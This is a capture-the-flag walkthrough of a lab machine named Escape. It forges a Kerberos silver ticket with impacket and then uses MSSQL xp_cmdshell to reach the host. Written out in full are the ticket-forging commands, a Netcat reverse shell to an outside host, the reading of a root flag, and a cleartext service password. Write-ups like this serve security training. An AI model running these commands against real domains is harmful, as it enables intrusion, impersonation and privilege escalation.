Silver Ticket Attack (Forging TGS)
The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (or AES hash of Kerberos key). Thus, it is possible to gain access to that service by forging a custom TGS as any user. It also must be taken into account that it is possible AND PREFERABLE (OPSEC) to forge tickets using the AES Kerberos keys (AES128 and AES256)
The current assessment is that the SQL credential returned from the NTLM relay attack appears to be a service account that is responsible for the MSSQL instance
┌──(kali㉿kali)-[~/archive/htb/labs/escape]
└─$ KRB5CCNAME=sql_svc.ccache impacket-GetUserSPNs sequel.htb/sql_svc -k -no-pass -dc-ip $IP -request
Impacket v0.11.0 - Copyright 2023 Fortra
No entries found!
┌──(kali㉿kali)-[~/archive/htb/labs/escape]
└─$ KRB5CCNAME=sql_svc.ccache impacket-GetUserSPNs sequel.htb/sql_svc -k -no-pass -dc-ip $IP -request -usersfile users.txt
Impacket v0.11.0 - Copyright 2023 Fortra
[-] principal: Administrator - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$SEQUEL.HTB$*krbtgt*$9cd9f2eb460c10132759f1ad$9fe27ae4c3a91cd7e9b2e822d6f3728e3c40fb6178c8e73bf0c1a2d470b0159bec4111ace978a11c2c4aa6fab0dc677844236b5c746dd2d8c99c1706764cbe3bef7c0ece189a6fff25cd61e37ea95df1b0e9051c44981af38b9b840bc1e53f86dd8dcf202a49023fc6b897f36802ab578faab41ddce4dff3fd17b85e1d2f64811de4464210281e238d6bb9029d951bbb1844aa2f943370d5f1eb327c0b51aaf04160d1818fa33bf72456e6a6893210ec06ed555f46c3b830ca5b81885173eebc6ca54879cca101171ba5db1e4172cd51a714d3375fca1aa473d4bc41f889aacfe40ca736d4b1352c70ba787f3d72f5e4297836d188d385ffed22e5f0914029bf1d9cad199a1bd557e0d50194c18bc186088f9da001db34470d8fac554a31ba048655847a1b592ecc9179bbbabf1412a5d7f3ec90e7796970def94cafc2ef7ffd3b7e2c722582cb9acd20c0fa18ca31de3093387d3354269174c94c0bde424148013967e2608480a1be8326fa8465f2cfd5c331dbdb951acc7ce2143969e43d0dec5c5ef8e69bd315ec9f82760a90913a17a2a98cdac25706b7e57bb709b33729ce6490a429e7b00eb079d004c820c7eb38214dfa43fbb99888303a2f2f5e401fdb38345544649f47a1a8e707e40510feca72021e894702d8c65a0b8a4c9fc603459cd0f28250e1a2bf4c9d66680c758c403e02ec89bda83342ddb404a8db20e59ec2f2917b6921628b2dd16d487ad526cdf98b495d528f856a69fb1bd77ce0a782354a393ae0ed300ca5fe9470f0715eade9be6a8a53123b8016ff61629f7b7f924d6514c00dc562f0b19bd7a81ff85f942438a6520505ba76cbb38d212bd1d740b9b7e20061e5f175ac7c3a7dc8a7ef1996ddcb49dc3092c7dd64ae28de029988bdcbabd68dc7342d8c0b76917b1c514bfb26d3ea9fb1e07caa094c6a78739bd43a2f1136ed2345ecd5c3fd2c4e3c26b4074e99d980716cfa6a0268594a8d3f8b9ed512d058ecc4d63eae0dd3d481a9b4209b59068daaacf82c7f167908d9ed372bc47f188bf01a7ef617ea867ce449baffbf5a97c7521904751803e49859c3883b08b8e67575658a1a2e6c996e76dfb6c8db24c3b0e383d7b9c367088e906f9c7ae1f703181aaefbe9f9cef5c5188354dad239203665396bc8642ac1d6771084b8a1f1349698e48a215d5a251c5b8e7cd049e81f115c41ebc6358939b6dd82d7a9d1cc4f5876be5f248ff90c76d0ed0c0f30b12d9d7fae35961db933c7322193cdcaddc71a40dc00a938457b68dbd330d3ab7583953469ea902ac55054d70342ff9938d9ed8011c443fe3ec69eec9a0d5656acdf418c1cc6bda0c914238828a3cf4885425fde07ba042f52bcc1dbbfa949b3c962778b13b585d56febd90e5637cf2590288b76cbe03dd8ce698652f287b1b247f99957207b43
[-] principal: Tom.Henn - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: Brandon.Brown - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: Ryan.Cooper - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: sql_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: James.Roberts - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: Nicole.Thompson - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] principal: - Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
It appears that the service account, sql_svc
, doesn’t have a Service Principal Name (SPN) set for the service
and neither the rest of the domain users.. from the users.txt file
However, it may still be possible to perform theSilver_Ticket_Attack if the sql_svc
user is indeed the service account that runs the MSSQL instance
┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ impacket-ticketer
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
usage: ticketer.py [-h] [-spn SPN] [-request] -domain DOMAIN -domain-sid DOMAIN_SID [-aesKey hex key] [-nthash NTHASH] [-keytab KEYTAB] [-groups GROUPS] [-user-id USER_ID]
[-extra-sid extra_sid] [-duration duration] [-ts] [-debug] [-user user] [-password password] [-hashes lmhash:NTHASH] [-dc-ip ip address]
target
Creates a Kerberos golden/silver tickets based on user options
positional arguments:
target username for the newly created ticket
options:
-h, --help show this help message and exit
-spn SPN SPN (service/server) of the target service the silver ticket will be generated for. if omitted, golden ticket will be created
-request Requests ticket to domain and clones it changing only the supplied information. It requires specifying -user
-domain DOMAIN the fully qualified domain name (e.g. contoso.com)
-domain-sid DOMAIN_SID
Domain SID of the target domain the ticker will be generated for
-aesKey hex key AES key used for signing the ticket (128 or 256 bits)
-nthash NTHASH NT hash used for signing the ticket
-keytab KEYTAB Read keys for SPN from keytab file (silver ticket only)
-groups GROUPS comma separated list of groups user will belong to (default = 513, 512, 520, 518, 519)
-user-id USER_ID user id for the user the ticket will be created for (default = 500)
-extra-sid EXTRA_SID Comma separated list of ExtraSids to be included inside the ticket's PAC
-duration DURATION Amount of days till the ticket expires (default = 365*10)
-ts Adds timestamp to every logging output
-debug Turn DEBUG output ON
authentication:
-user USER domain/username to be used if -request is chosen (it can be different from domain/username
-password PASSWORD password for domain/username
-hashes lmhash:NTHASH
ntlm hashes, format is lmhash:NTHASH
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
examples:
./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
baduser.ccache.
./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser
will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
as template for customization. Whatever encryption algorithms used on that ticket will be honored,
hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'
and saved as baduser.ccache
tgs forging (silver ticket attack) is mostly done with Mimikatz or Rubeus on a Windows environment. But it can be done REMOTELY with the impacket’s ticketer tool from a remote Linux environment
it absolutely requires the following items:
<TARGET>
- The
administrator
user is the target that will be impersonated
- The
-spn
- I will just attempt to put an arbitrary value to it since it’s not set in the first place
-domain
SEQUEL.HTB
-domain-sid
- I got the domain SID from the MSRPC enumeration earlier;
S-1-5-21-4078382237-1492182817-2568127209
- I got the domain SID from the MSRPC enumeration earlier;
-aesKey
or-nthash
- this requires a tool to get
The target service can be accessed with the forged TGS(Ticket Granting Service) Ticket
NTLM Hash or Kerberos Key(AES Hash)
While I can go with either NTLM hash or Kerberos key, I will go with Kerberos Key (AES Hash) for better OPSEC
┌──(kali㉿kali)-[~/…/htb/labs/escape/SilverTicket]
└─$ python3 aesKrbKeyGen.py -domain sequel.htb -user sql_svc -p REGGIE1234ronnie
[*] Salt: SEQUEL.HTBsql_svc
[+] AES256 Key: BCBBFF82091C7C6F9875261D3ADA97274D01B4A1F93CEB16E8154606E392A4AE
[+] AES128 Key: DECDDF91C717C5A5B84E112F576ECE3B
A Python script that I found online is used here to encrypt the CLEARTEXT password of the sqlsvc
user with the FQDN of the domain as the salt to AES128/256 key
I will grab one of those. Either one is fine
Execution
<target>
: administrator-spn
; blahblah/dc.sequel.htb-domain
: SEQUEL-domain-sid
: S-1-5-21-4078382237-1492182817-2568127209-aeskey
: BCBBFF82091C7C6F9875261D3ADA97274D01B4A1F93CEB16E8154606E392A4AE
┌──(kali㉿kali)-[~/…/htb/labs/escape/SilverTicket]
└─$ impacket-ticketer administrator -spn blahblah/dc.sequel.htb -domain SEQUEL.HTB -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -aesKey BCBBFF82091C7C6F9875261D3ADA97274D01B4A1F93CEB16E8154606E392A4AE
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SEQUEL.HTB/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in administrator.ccache
Forging.
sql_svc
is a service account that runs the MSSQL instance.
The command above forged a TGS (Ticket Granting Service) ticket for the administrator
user that can be used to access the MSSQL Instance as the administrator
user
┌──(kali㉿kali)-[~/…/htb/labs/escape/SilverTicket]
└─$ KRB5CCNAME=administrator.ccache impacket-mssqlclient @dc.sequel.htb -no-pass -k -dc-ip $IP
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] envchange(database): Old Value: master, New Value: master
[*] envchange(language): Old Value: , New Value: us_english
[*] envchange(packetsize): Old Value: 4096, New Value: 16192
[*] info(dc\sqlmock): Line 1: Changed database context to 'master'.
[*] info(dc\sqlmock): Line 1: Changed language setting to us_english.
[*] ack: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
I have successfully authenticated to the MSSQL instance as the administarator
user
MSSQL
SQL> enable_xp_cmdshell
[*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC\SQLMOCK): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami
output
--------------
sequel\sql_svc
NULL
Interestingly, it still shows that commands runs as the sql_svc
user when executed through the built-in MSSQL function, xp_cmdshell
SQL> SELECT * FROM OPENROWSET(BULK N'C:/Users/Administrator/Desktop/root.txt', SINGLE_CLOB) AS Contents
BulkColumn
---------------------------------------
b'96fb94c9e09fdfe07f8006e8f1c65b09\r\n'
SQL> SELECT name from master..syslogins
name
---------------------------------------
sa
##MS_SQLResourceSigningCertificate##
##MS_SQLReplicationSigningCertificate##
##MS_SQLAuthenticatorCertificate##
##MS_PolicySigningCertificate##
##MS_SmoExtendedSigningCertificate##
##MS_PolicyEventProcessingLogin##
##MS_PolicyTsqlExecutionLogin##
##MS_AgentSigningCertificate##
sequel\Administrator
NT SERVICE\SQLWriter
NT SERVICE\Winmgmt
NT Service\MSSQL$SQLMOCK
BUILTIN\Users
NT AUTHORITY\SYSTEM
NT SERVICE\SQLTELEMETRY$SQLMOCK
PublicUser
SQL> SELECT is_srvrolemember('sysadmin');
-
1
That’s because the sql_svc
user is still running the MSSQL service.
It is just able to negotiate with the host system to read file as the administrator
user because it has the TGT.
*Evil-WinRM* PS C:\tmp> copy \\10.10.14.20\smb\nc64.exe C:\tmp\nc64.exe
SQL> xp_cmdshell "copy \\10.10.14.20\smb\nc64.exe C:\nc64.exe"
output
--------------------------------------------------------------------------------
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
NULL
File transfer over SMB through the xp_cmdshell
function seems to be restricted due to the complex access control (auth as administrator
, but process runs as svc_sql
+ OS command through the MSSQL instance)
*Evil-WinRM* PS C:\tmp> copy \\10.10.14.20\smb\nc64.exe C:\tmp\nc64.exe
I will just use the established PowerShell session to transfer Netcat over SMB
SQL> xp_cmdshell "C:\tmp\nc64.exe 10.10.14.20 8888 -e powershell"
Reverse shell
┌──(kali㉿kali)-[~/…/htb/labs/escape/SilverTicket]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.202] 56183
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
sequel\sql_svc
PS C:\Windows\system32> hostname
hostname
dc
PS C:\Windows\system32> ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::21c
IPv6 Address. . . . . . . . . . . : dead:beef::31e1:eb54:2784:d5cd
Link-local IPv6 Address . . . . . : fe80::31e1:eb54:2784:d5cd%4
IPv4 Address. . . . . . . . . . . : 10.10.11.202
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f330%4
10.10.10.2
PowerShell session established as the ELEVATED sql_svc
user